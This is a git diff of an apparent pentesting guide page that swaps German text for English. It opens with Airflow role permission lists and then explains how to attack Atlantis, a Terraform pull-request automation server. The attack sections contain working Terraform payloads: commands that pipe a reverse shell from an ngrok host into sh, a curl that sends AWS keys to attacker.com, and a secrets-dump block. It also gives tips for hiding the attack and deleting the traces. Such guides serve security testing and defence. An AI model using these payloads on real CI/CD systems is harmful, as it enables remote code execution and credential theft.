lesen auf Passwords, kann bearbeiten auf Passwords, Menüzugang auf List Users, Menüzugang auf Security, Menüzugang auf List Roles, kann lesen auf User Stats Chart, Menüzugang auf User's Statistics, Menüzugang auf Base Permissions, kann lesen auf View Menus, Menüzugang auf Views/Menus, kann lesen auf Permission Views, Menüzugang auf Permission on Views/Menus, kann erhalten auf MenuApi, Menüzugang auf Providers, kann erstellen auf XComs]
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
- **Op**
\[kann löschen auf Connections, kann lesen auf Connections, kann bearbeiten auf Connections, kann erstellen auf Connections, kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann löschen auf Pools, kann lesen auf Pools, kann bearbeiten auf Pools, kann erstellen auf Pools, kann lesen auf Providers, kann löschen auf Variables, kann lesen auf Variables, kann bearbeiten auf Variables, kann erstellen auf Variables, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Configurations, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances, Menüzugang auf Admin, Menüzugang auf Configurations, Menüzugang auf Connections, Menüzugang auf Pools, Menüzugang auf Variables, Menüzugang auf XComs, kann löschen auf XComs]
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
- **User**
\[kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances]
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
- **Viewer**
\[kann lesen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann lesen auf Audit Logs, kann lesen auf ImportError, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances]
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,111 +2,111 @@
{{#include ../banners/hacktricks-training.md}}
### Grundinformationen
### Basic Information
Atlantis hilft Ihnen im Grunde, Terraform von Pull Requests von Ihrem Git-Server auszuführen.
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
![](<../images/image (161).png>)
### Lokales Labor
### Local Lab
1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden Sie** die passende Version herunter.
2. Erstellen Sie ein **persönliches Token** (mit Repo-Zugriff) Ihres **GitHub**-Benutzers.
3. Führen Sie `./atlantis testdrive` aus, und es wird ein **Demo-Repo** erstellt, das Sie verwenden können, um mit Atlantis zu **kommunizieren**.
1. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
### Atlantis-Zugriff
### Atlantis Access
#### Git-Server-Anmeldeinformationen
#### Git Server Credentials
**Atlantis** unterstützt mehrere Git-Hosts wie **GitHub**, **GitLab**, **Bitbucket** und **Azure DevOps**.\
Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm **privilegierter Zugriff gewährt werden** (mindestens Schreibberechtigungen).\
[**Die Dokumentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
> [!WARNING]
> Aus der Perspektive eines Angreifers wird das **Atlantis-Konto** sehr **interessant** sein, **kompromittiert zu werden**.
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
#### Webhooks
Atlantis verwendet optional [**Webhook-Geheimnisse**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret), um zu validieren, dass die **Webhooks**, die es von Ihrem Git-Host erhält, **legitim** sind.
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Eine Möglichkeit, dies zu bestätigen, wäre, **Anfragen nur von den IPs** Ihres Git-Hosts zuzulassen, aber ein einfacherer Weg ist die Verwendung eines Webhook-Geheimnisses.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
Beachten Sie, dass Sie, es sei denn, Sie verwenden einen privaten GitHub- oder Bitbucket-Server, Webhook-Endpunkte ins Internet exponieren müssen.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
> [!WARNING]
> Atlantis wird **Webhooks exponieren**, damit der Git-Server ihm Informationen senden kann. Aus der Perspektive eines Angreifers wäre es interessant zu wissen, **ob Sie ihm Nachrichten senden können**.
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
#### Anbieteranmeldeinformationen <a href="#provider-credentials" id="provider-credentials"></a>
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[Aus der Dokumentation:](https://www.runatlantis.io/docs/provider-credentials.html)
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis führt Terraform aus, indem es einfach die **`terraform plan` und `apply`**-Befehle auf dem Server **ausführt, auf dem Atlantis gehostet wird**. Genau wie bei der lokalen Ausführung von Terraform benötigt Atlantis Anmeldeinformationen für Ihren spezifischen Anbieter.
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Es liegt an Ihnen, wie Sie [Anmeldeinformationen bereitstellen](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) für Ihren spezifischen Anbieter an Atlantis:
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
- Das Atlantis [Helm-Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) und das [AWS Fargate-Modul](https://www.runatlantis.io/docs/deployment.html#aws-fargate) haben ihre eigenen Mechanismen für Anbieteranmeldeinformationen. Lesen Sie deren Dokumentation.
- Wenn Sie Atlantis in einer Cloud ausführen, haben viele Clouds Möglichkeiten, Anwendungen, die auf ihnen ausgeführt werden, API-Zugriff zu gewähren, z. B.:
- [AWS EC2-Rollen](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Suchen Sie nach "EC2-Rolle")
- [GCE-Instanzdienstkonten](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Viele Benutzer setzen Umgebungsvariablen, z. B. `AWS_ACCESS_KEY`, wo Atlantis ausgeführt wird.
- Andere erstellen die erforderlichen Konfigurationsdateien, z. B. `~/.aws/credentials`, wo Atlantis ausgeführt wird.
- Verwenden Sie den [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), um Anbieteranmeldeinformationen zu erhalten.
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
> [!WARNING]
> Der **Container**, in dem **Atlantis** **ausgeführt wird**, wird höchstwahrscheinlich **privilegierte Anmeldeinformationen** für die Anbieter (AWS, GCP, GitHub...) enthalten, die Atlantis über Terraform verwaltet.
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
#### Webseite
#### Web Page
Standardmäßig wird Atlantis eine **Webseite auf Port 4141 auf localhost** ausführen. Diese Seite ermöglicht es Ihnen lediglich, Atlantis anzuwenden/deaktivieren und den Planstatus der Repos zu überprüfen und sie zu entsperren (sie erlaubt keine Änderungen, daher ist sie nicht sehr nützlich).
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
Sie werden sie wahrscheinlich nicht im Internet finden, aber es scheint, dass standardmäßig **keine Anmeldeinformationen erforderlich sind**, um darauf zuzugreifen (und wenn doch, sind `atlantis`:`atlantis` die **Standard**-Anmeldeinformationen).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
### Serverkonfiguration
### Server Configuration
Die Konfiguration für `atlantis server` kann über Befehlszeilenflags, Umgebungsvariablen, eine Konfigurationsdatei oder eine Mischung aus dreien angegeben werden.
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
- Sie finden [**hier die Liste der unterstützten Flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) für den Atlantis-Server.
- Sie finden [**hier, wie man eine Konfigurationsoption in eine Umgebungsvariable umwandelt**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
Werte werden **in dieser Reihenfolge ausgewählt**:
Values are **chosen in this order**:
1. Flags
2. Umgebungsvariablen
3. Konfigurationsdatei
2. Environment Variables
3. Config File
> [!WARNING]
> Beachten Sie, dass Sie in der Konfiguration interessante Werte wie **Tokens und Passwörter** finden könnten.
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
#### Repo-Konfiguration
#### Repos Configuration
Einige Konfigurationen beeinflussen, **wie die Repos verwaltet werden**. Es ist jedoch möglich, dass **jedes Repo unterschiedliche Einstellungen erfordert**, sodass es Möglichkeiten gibt, jedes Repo anzugeben. Dies ist die Prioritätsreihenfolge:
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) Datei. Diese Datei kann verwendet werden, um anzugeben, wie Atlantis das Repo behandeln soll. Standardmäßig können jedoch einige Schlüssel hier ohne bestimmte Flags, die dies erlauben, nicht angegeben werden.
1. Wahrscheinlich erforderlich, um durch Flags wie `allowed_overrides` oder `allow_custom_workflows` erlaubt zu werden.
2. [**Serverseitige Konfiguration**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Sie können sie mit dem Flag `--repo-config` übergeben, und es handelt sich um eine YAML-Datei, die neue Einstellungen für jedes Repo konfiguriert (Regex wird unterstützt).
3. **Standard**-Werte.
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
**PR-Schutz**
**PR Protections**
Atlantis ermöglicht es anzugeben, ob Sie möchten, dass der **PR** von jemand anderem **`genehmigt`** wird (auch wenn dies nicht im Branch-Schutz festgelegt ist) und/oder **`zusammenführbar`** ist (Branch-Schutz bestanden) **bevor `apply` ausgeführt wird**. Aus sicherheitstechnischer Sicht ist es ratsam, beide Optionen festzulegen.
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
Falls `allowed_overrides` wahr ist, können diese Einstellungen **in jedem Projekt durch die `/atlantis.yml`-Datei überschrieben werden**.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
**Skripte**
**Scripts**
Die Repo-Konfiguration kann **Skripte angeben**, die [**vor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_Pre-Workflow-Hooks_) und [**nach**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_Post-Workflow-Hooks_) einem **Workflow ausgeführt werden.**
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
Es gibt keine Option, um **diese Skripte** in der **Repo `/atlantis.yml`**-Datei anzugeben.
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
**Workflow**
In der Repo-Konfiguration (serverseitige Konfiguration) können Sie [**einen neuen Standard-Workflow angeben**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) oder [**neue benutzerdefinierte Workflows erstellen**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Sie können auch **angeben**, welche **Repos** auf die **neuen** generierten zugreifen können.\
Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwendenden Workflow **anzugeben**.
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
> [!CAUTION]
> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **angegeben** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** auch **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.\
> Dies würde im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann, gewähren**.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -124,20 +124,21 @@ Dann können Sie die **atlantis.yaml**-Datei jedes Repos erlauben, den zu verwen
> steps: - run: my custom apply command
> ```
**Conftest-Policy-Überprüfung**
**Conftest Policy Checking**
Atlantis unterstützt die Ausführung von **serverseitigen** [**Conftest**](https://www.conftest.dev/) **Richtlinien** gegen die Plan-Ausgabe. Häufige Anwendungsfälle für diesen Schritt sind:
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
- Verweigerung der Nutzung einer Liste von Modulen
- Überprüfung von Attributen einer Ressource zum Zeitpunkt der Erstellung
- Auffangen unbeabsichtigter Ressourcenlöschungen
- Verhinderung von Sicherheitsrisiken (z. B. das Offenlegen sicherer Ports für die Öffentlichkeit)
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
Sie können überprüfen, wie Sie es in [**der Dokumentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) konfigurieren.
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis-Befehle
### Atlantis Commands
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
[**In der Dokumentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) finden Sie die Optionen, die Sie verwenden können, um Atlantis auszuführen:
```bash
# Get help
atlantis help
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Angriffe
### Attacks
> [!WARNING]
> Wenn Sie während der Ausnutzung diesen **Fehler** finden: `Error: Error acquiring the state lock`
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
Sie können ihn beheben, indem Sie Folgendes ausführen:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Konfigurationsänderung in neuem PR
Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis plan` ausführen können** (oder es möglicherweise automatisch ausgeführt wird), **werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers durchzuführen**.
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
Sie können dies tun, indem Sie [**Atlantis eine externe Datenquelle laden lassen**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Fügen Sie einfach eine Payload wie die folgende in die `main.tf`-Datei ein:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Tarnung Angriff**
Sie können diesen Angriff sogar auf eine **tarnendere Weise** durchführen, indem Sie diese Vorschläge befolgen:
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Stattdessen** erstellen Sie einen **PR zu master**, um Atlantis auszulösen, **erstellen Sie 2 Branches** (test1 und test2) und erstellen Sie einen **PR von einem zum anderen**. Wenn Sie den Angriff abgeschlossen haben, entfernen Sie einfach **den PR und die Branches**.
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
#### Atlantis Plan Secrets Dump
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
#### Atlantis plan Secrets Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
Sie können **Secrets, die von terraform verwendet werden**, dumpen, indem Sie `atlantis plan` (`terraform plan`) ausführen und etwas wie dies in die Terraform-Datei einfügen:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - Konfigurationsänderung in neuem PR
Wenn Sie Schreibzugriff auf ein Repository haben, können Sie einen neuen Branch erstellen und einen PR generieren. Wenn Sie **`atlantis apply` ausführen können, werden Sie in der Lage sein, RCE innerhalb des Atlantis-Servers zu erreichen**.
#### Atlantis apply RCE - Config modification in new PR
Sie müssen jedoch normalerweise einige Schutzmaßnahmen umgehen:
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
- **Mergeable**: Wenn dieser Schutz in Atlantis aktiviert ist, können Sie **`atlantis apply` nur ausführen, wenn der PR mergeable ist** (was bedeutet, dass der Branch-Schutz umgangen werden muss).
- Überprüfen Sie mögliche [**Branch-Schutzumgehungen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: Wenn dieser Schutz in Atlantis aktiviert ist, muss **ein anderer Benutzer den PR genehmigen**, bevor Sie `atlantis apply` ausführen können.
- Standardmäßig können Sie das [**Gitbot-Token missbrauchen, um diesen Schutz zu umgehen**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Ausführen von **`terraform apply` auf einer bösartigen Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise** durchzuführen.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
#### Terraform Param Injection
Wenn `atlantis plan` oder `atlantis apply` ausgeführt wird, wird Terraform im Hintergrund ausgeführt. Sie können Befehle an Terraform von Atlantis über Kommentare übergeben, indem Sie etwas wie:
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Etwas, das Sie übergeben können, sind Umgebungsvariablen, die hilfreich sein könnten, um einige Schutzmaßnahmen zu umgehen. Überprüfen Sie die Terraform-Umgebungsvariablen in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Benutzerdefinierter Workflow
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
